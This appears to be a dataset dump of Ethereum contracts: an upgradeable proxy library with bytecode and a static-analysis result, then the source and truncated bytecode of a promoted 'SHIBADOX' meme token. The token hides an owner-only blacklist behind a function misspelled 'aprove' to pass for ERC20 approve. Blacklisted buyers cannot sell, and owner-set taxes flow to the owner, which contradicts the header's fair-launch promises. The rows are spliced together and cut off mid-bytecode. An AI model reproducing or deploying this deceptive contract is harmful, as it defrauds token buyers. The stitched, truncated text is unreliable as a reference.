0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; event Upgraded(address indexed implementation); function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal { address oldImplementation = _getImplementation(); _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature( "upgradeTo(address)", oldImplementation ) ); rollbackTesting.value = false; require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); _setImplementation(newImplementation); emit Upgraded(newImplementation); } } function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; event AdminChanged(address previousAdmin, address newAdmin); function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; event BeaconUpgraded(address indexed beacon); function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } function _setBeacon(address newBeacon) private { require( Address.isContract(newBeacon), "ERC1967: new beacon is not a contract" ); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } } interface IBeacon { function implementation() external view returns (address); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ProxyAdmin is Ownable { function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) { (bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b"); require(success); return abi.decode(returndata, (address)); } function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) { (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440"); require(success); return abi.decode(returndata, (address)); } function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner { proxy.changeAdmin(newAdmin); } function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner { proxy.upgradeTo(implementation); } function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) public payable virtual onlyOwner { proxy.upgradeToAndCall{value: msg.value}(implementation, data); } } abstract contract UUPSUpgradeable is ERC1967Upgrade { function upgradeTo(address newImplementation) external virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, bytes(""), false); } function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } function _authorizeUpgrade(address newImplementation) internal virtual; } abstract contract Proxiable is UUPSUpgradeable { function _authorizeUpgrade(address newImplementation) internal override { _beforeUpgrade(newImplementation); } function _beforeUpgrade(address newImplementation) internal virtual; } contract ChildOfProxiable is Proxiable { function _beforeUpgrade(address newImplementation) internal virtual override {} } contract ERC1967Proxy is Proxy, ERC1967Upgrade { constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } contract TransparentUpgradeableProxy is ERC1967Proxy { constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _changeAdmin(admin_); } modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } function admin() external ifAdmin returns (address admin_) { admin_ = _getAdmin(); } function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } function changeAdmin(address newAdmin) external virtual ifAdmin { _changeAdmin(newAdmin); } function upgradeTo(address newImplementation) external ifAdmin { _upgradeToAndCall(newImplementation, bytes(""), false); } function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeToAndCall(newImplementation, data, true); } function _admin() internal view virtual returns (address) { return _getAdmin(); } function _beforeFallback() internal virtual override { require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } contract AdminUpgradeabilityProxy is TransparentUpgradeableProxy { constructor(address logic, address admin, bytes memory data) payable TransparentUpgradeableProxy(logic, admin, data) {} }
0x60806040523661001357610011610017565b005b6100115b61002761002261005e565b610096565b565b606061004e838360405180606001604052806027815260200161024c602791396100ba565b9392505050565b3b151590565b90565b60006100917f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156100b5573d6000f35b3d6000fd5b6060833b61011e5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013991906101cc565b600060405180830381855af49150503d8060008114610174576040519150601f19603f3d011682016040523d82523d6000602084013e610179565b606091505b5091509150610189828286610193565b9695505050505050565b606083156101a257508161004e565b8251156101b25782518084602001fd5b8160405162461bcd60e51b815260040161011591906101e8565b600082516101de81846020870161021b565b9190910192915050565b600060208252825180602084015261020781604085016020870161021b565b601f01601f19169190910160400192915050565b60005b8381101561023657818101518382015260200161021e565b83811115610245576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212209b8470f06e8a3960c912103fc2be177edaad69584ee3c7d2809ee737e79408e764736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,512
0x6cDa05F93b8f35885bD2F7ff94D6327d0C80ca55
/** *Submitted for verification at Etherscan.io on 2022-01-05 */ /* Website: https://www.shibadox.com/ Telegram: https://t.me/ShibaDoxEntry Tokenomics: Total Supply: 1000000000000000 Max Buy: 1% No Team Tokens No Presale Callers set up in advance Renouncing Contract Locking LP */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Shibadox is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "SHIBADOX"; string private constant _symbol = "SHIBADOX"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; IUniswapV2Router02 _uniswapV2Router; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(owner()); _feeAddrWallet2 = payable(owner()); _rOwned[_msgSender()] = _rTotal; _sellTax = 5; _buyTax = 15; _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _maxTxAmount=_tTotal.div(33); emit Transfer(address(owner()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (40 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); _approve(address(this), address(_uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiquidity() external onlyOwner{ _uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max); } function aprove(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 3 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 8) { _sellTax = sellTax; } } function _setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 16) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb146103c3578063c3c8cd8014610400578063c9567bf914610417578063dbe8272c1461042e578063dd62ed3e14610457578063e8078d941461049457610135565b806370a08231146102f0578063715018a61461032d5780638da5cb5b1461034457806395d89b411461036f578063961ac01b1461039a57610135565b8063273123b7116100f2578063273123b7146102335780632b7581b21461025c578063313ce567146102855780635932ead1146102b05780636fc3eaec146102d957610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a25780631bbae6e0146101cd57806323b872dd146101f657610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104ab565b60405161015c9190612d42565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061288f565b6104e8565b6040516101999190612d27565b60405180910390f35b3480156101ae57600080fd5b506101b7610506565b6040516101c49190612ea4565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612972565b610518565b005b34801561020257600080fd5b5061021d6004803603810190610218919061283c565b6105c4565b60405161022a9190612d27565b60405180910390f35b34801561023f57600080fd5b5061025a600480360381019061025591906127a2565b61069d565b005b34801561026857600080fd5b50610283600480360381019061027e9190612972565b61078d565b005b34801561029157600080fd5b5061029a610836565b6040516102a79190612f19565b60405180910390f35b3480156102bc57600080fd5b506102d760048036038101906102d29190612918565b61083f565b005b3480156102e557600080fd5b506102ee6108f1565b005b3480156102fc57600080fd5b50610317600480360381019061031291906127a2565b610963565b6040516103249190612ea4565b60405180910390f35b34801561033957600080fd5b506103426109b4565b005b34801561035057600080fd5b50610359610b07565b6040516103669190612c59565b60405180910390f35b34801561037b57600080fd5b50610384610b30565b6040516103919190612d42565b60405180910390f35b3480156103a657600080fd5b506103c160048036038101906103bc91906128cf565b610b6d565b005b3480156103cf57600080fd5b506103ea60048036038101906103e5919061288f565b610c97565b6040516103f79190612d27565b60405180910390f35b34801561040c57600080fd5b50610415610cb5565b005b34801561042357600080fd5b5061042c610d2f565b005b34801561043a57600080fd5b5061045560048036038101906104509190612972565b611058565b005b34801561046357600080fd5b5061047e600480360381019061047991906127fc565b611101565b60405161048b9190612ea4565b60405180910390f35b3480156104a057600080fd5b506104a9611188565b005b60606040518060400160405280600881526020017f5348494241444f58000000000000000000000000000000000000000000000000815250905090565b60006104fc6104f5611477565b848461147f565b6001905092915050565b600069d3c21bcecceda1000000905090565b610520611477565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a490612e04565b60405180910390fd5b63b2d05e008111156105c157806012819055505b50565b60006105d184848461164a565b610692846105dd611477565b61068d856040518060600160405280602881526020016135ce60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610643611477565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c519092919063ffffffff16565b61147f565b600190509392505050565b6106a5611477565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610732576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072990612e04565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610795611477565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081990612e04565b60405180910390fd5b60108110156108335780600d819055505b50565b60006009905090565b610847611477565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cb90612e04565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610932611477565b73ffffffffffffffffffffffffffffffffffffffff161461095257600080fd5b600047905061096081611cb5565b50565b60006109ad600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d21565b9050919050565b6109bc611477565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4090612e04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5348494241444f58000000000000000000000000000000000000000000000000815250905090565b610b75611477565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf990612e04565b60405180910390fd5b60005b8151811015610c9357600160066000848481518110610c2757610c26613261565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c8b906131ba565b915050610c05565b5050565b6000610cab610ca4611477565b848461164a565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cf6611477565b73ffffffffffffffffffffffffffffffffffffffff1614610d1657600080fd5b6000610d2130610963565b9050610d2c81611d8f565b50565b610d37611477565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbb90612e04565b60405180910390fd5b601160149054906101000a900460ff1615610e14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0b90612e84565b60405180910390fd5b610e4b30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda100000061147f565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610eb357600080fd5b505afa158015610ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eeb91906127cf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f6f57600080fd5b505afa158015610f83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa791906127cf565b6040518363ffffffff1660e01b8152600401610fc4929190612c74565b602060405180830381600087803b158015610fde57600080fd5b505af1158015610ff2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101691906127cf565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611060611477565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e490612e04565b60405180910390fd5b60088110156110fe5780600c819055505b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611190611477565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461121d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121490612e04565b60405180910390fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061126630610963565b600080611271610b07565b426040518863ffffffff1660e01b815260040161129396959493929190612cc6565b6060604051808303818588803b1580156112ac57600080fd5b505af11580156112c0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112e5919061299f565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d8929190612c9d565b602060405180830381600087803b1580156113f257600080fd5b505af1158015611406573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142a9190612945565b50565b600061146f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612017565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffff